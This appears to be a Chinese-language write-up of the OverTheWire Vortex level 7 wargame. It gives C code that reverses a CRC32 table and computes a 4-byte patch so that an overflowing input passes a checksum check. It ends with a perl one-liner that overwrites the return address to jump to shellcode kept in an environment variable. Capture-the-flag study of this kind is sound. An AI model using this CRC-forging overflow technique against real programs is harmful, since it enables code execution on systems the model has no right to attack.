这道题要求构造一个符合crc的输入来造成溢出。 关于CRC,这里有一篇详细的文章 为了reverse CRC,我们先找到所用的crc table在文件中的位置,然后将其dump出来: $ hexdump -v -n 1024 -s 1504 vortex7 -e '"0x" 1/4 "%08x" ","' | fold -b44 此外,我们还需要根据最高位字符来构造reverse table。用下面的代码构造并打印reverse table int main (int argc, char *argv[]) { unsigned int *revTable = (unsigned int *)malloc(256*sizeof(unsigned int)); size_t i; for(i=0; i<256; ++i) { unsigned int value = CRCTable[i]; unsigned int top = (value >> 24); revTable[top] = i; } for(i=0; i<256; ++i) { printf("0x%02x,", revTable[i]); } return 0; } 然后我们有下面的代码,他会得到4bytes的patch,当patch加在argv1之后时,新的CRC值会变为我们需要的 #include <stdio.h> #include <stdlib.h> #include <string.h> unsigned int CRCTable[] = { 0x00000000,0x77073096,0xee0e612c,0x990951ba, 0x076dc419,0x706af48f,0xe963a535,0x9e6495a3, 0x0edb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988, 0x09b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91, 0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de, 0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7, 0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec, 0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5, 0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172, 0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b, 0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940, 0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59, 0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116, 0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f, 0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924, 0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d, 0x76dc4190,0x01db7106,0x98d220bc,0xefd5102a, 0x71b18589,0x06b6b51f,0x9fbfe4a5,0xe8b8d433, 0x7807c9a2,0x0f00f934,0x9609a88e,0xe10e9818, 0x7f6a0dbb,0x086d3d2d,0x91646c97,0xe6635c01, 0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e, 0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457, 0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c, 0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65, 0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2, 0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb, 0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0, 0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9, 0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086, 0x5768b525,0x206f85b3,0xb966d409,0xce61e49f, 0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4, 0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad, 0xedb88320,0x9abfb3b6,0x03b6e20c,0x74b1d29a, 0xead54739,0x9dd277af,0x04db2615,0x73dc1683, 0xe3630b12,0x94643b84,0x0d6d6a3e,0x7a6a5aa8, 0xe40ecf0b,0x9309ff9d,0x0a00ae27,0x7d079eb1, 0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe, 0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7, 0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc, 0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5, 0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252, 0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b, 0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60, 0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79, 0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236, 0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f, 0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04, 0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d, 0x9b64c2b0,0xec63f226,0x756aa39c,0x026d930a, 0x9c0906a9,0xeb0e363f,0x72076785,0x05005713, 0x95bf4a82,0xe2b87a14,0x7bb12bae,0x0cb61b38, 0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0x0bdbdf21, 0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e, 0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777, 0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c, 0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45, 0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2, 0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db, 0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0, 0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9, 0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6, 0xbad03605,0xcdd70693,0x54de5729,0x23d967bf, 0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94, 0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d }; unsigned int revTable[] = { 0x00,0x41,0xc3,0x82, 0x86,0xc7,0x45,0x04, 0x4d,0x0c,0x8e,0xcf, 0xcb,0x8a,0x08,0x49, 0x9a,0xdb,0x59,0x18, 0x1c,0x5d,0xdf,0x9e, 0xd7,0x96,0x14,0x55, 0x51,0x10,0x92,0xd3, 0x75,0x34,0xb6,0xf7, 0xf3,0xb2,0x30,0x71, 0x38,0x79,0xfb,0xba, 0xbe,0xff,0x7d,0x3c, 0xef,0xae,0x2c,0x6d, 0x69,0x28,0xaa,0xeb, 0xa2,0xe3,0x61,0x20, 0x24,0x65,0xe7,0xa6, 0xea,0xab,0x29,0x68, 0x6c,0x2d,0xaf,0xee, 0xa7,0xe6,0x64,0x25, 0x21,0x60,0xe2,0xa3, 0x70,0x31,0xb3,0xf2, 0xf6,0xb7,0x35,0x74, 0x3d,0x7c,0xfe,0xbf, 0xbb,0xfa,0x78,0x39, 0x9f,0xde,0x5c,0x1d, 0x19,0x58,0xda,0x9b, 0xd2,0x93,0x11,0x50, 0x54,0x15,0x97,0xd6, 0x05,0x44,0xc6,0x87, 0x83,0xc2,0x40,0x01, 0x48,0x09,0x8b,0xca, 0xce,0x8f,0x0d,0x4c, 0x95,0xd4,0x56,0x17, 0x13,0x52,0xd0,0x91, 0xd8,0x99,0x1b,0x5a, 0x5e,0x1f,0x9d,0xdc, 0x0f,0x4e,0xcc,0x8d, 0x89,0xc8,0x4a,0x0b, 0x42,0x03,0x81,0xc0, 0xc4,0x85,0x07,0x46, 0xe0,0xa1,0x23,0x62, 0x66,0x27,0xa5,0xe4, 0xad,0xec,0x6e,0x2f, 0x2b,0x6a,0xe8,0xa9, 0x7a,0x3b,0xb9,0xf8, 0xfc,0xbd,0x3f,0x7e, 0x37,0x76,0xf4,0xb5, 0xb1,0xf0,0x72,0x33, 0x7f,0x3e,0xbc,0xfd, 0xf9,0xb8,0x3a,0x7b, 0x32,0x73,0xf1,0xb0, 0xb4,0xf5,0x77,0x36, 0xe5,0xa4,0x26,0x67, 0x63,0x22,0xa0,0xe1, 0xa8,0xe9,0x6b,0x2a, 0x2e,0x6f,0xed,0xac, 0x0a,0x4b,0xc9,0x88, 0x8c,0xcd,0x4f,0x0e, 0x47,0x06,0x84,0xc5, 0xc1,0x80,0x02,0x43, 0x90,0xd1,0x53,0x12, 0x16,0x57,0xd5,0x94, 0xdd,0x9c,0x1e,0x5f, 0x5b,0x1a,0x98,0xd9 }; //start is the init CRC value unsigned int computeCRC(unsigned int start, unsigned char *str, size_t len) { size_t i; for(i=0; i<len; ++i) { start = (start >> 8) ^ (CRCTable[(0xff & (start ^ str[i]))]); } return start; } unsigned int reverseCRC(unsigned int start, unsigned end) { unsigned char buf[8]; unsigned int *pos = buf; *pos = start; *(pos+1) = end; int i = 0; for(i=0; i<4; ++i) { unsigned char topByte = buf[7-i]; unsigned int idx = revTable[topByte]; unsigned int value = CRCTable[idx]; pos = buf + 4 - i; *pos = (*pos) ^ value; buf[3-i] = buf[3-i] ^ idx; } pos = buf; return *pos; } int main (int argc, char *argv[]) { if(argc != 3) { printf("usage: %s <string> <CRC>\n", argv[0]); return 0; } size_t len = strlen(argv[1]); char *cat = (char *)malloc(len+5); strncpy(cat, argv[1], len); //compute the current CRC unsigned int current = computeCRC(0, argv[1], len); printf("current is 0x%08x\n", current); unsigned int dest = (unsigned int)strtoul(argv[2], NULL, 16); printf("dest is 0x%08x\n", dest); //compute the patch unsigned int patch = reverseCRC(current, dest); unsigned char *patchChar = &patch; printf("patch is \\x%02x\\x%02x\\x%02x\\x%02x\n", patchChar[0], patchChar[1], patchChar[2], patchChar[3]); strncat(cat, patchChar, 4); unsigned int new = computeCRC(0, cat, len+4); printf("verify: new CRC is 0x%08x\n", new); return 0; } 看反汇编,知道要覆盖完返回地址需要78bytes,在加上4bytes的patch共82bytes。将shellcode放到环境变量,得到其地址,然后可由上计算出patch。最后运行 $ /vortex/vortex7 `perl -e 'print "A"x74 . "\xf9\xd8\xff\xff" . "\x1c\xdd\x03\x32"'` Previous vortex6 Next vortex8 FEATURED TAGS HTTP wechall PHP linux sql exploit crypto OverTheWire reverse how-to binary pwnable.kr ksnctf misc android webhacking.kr fuzzing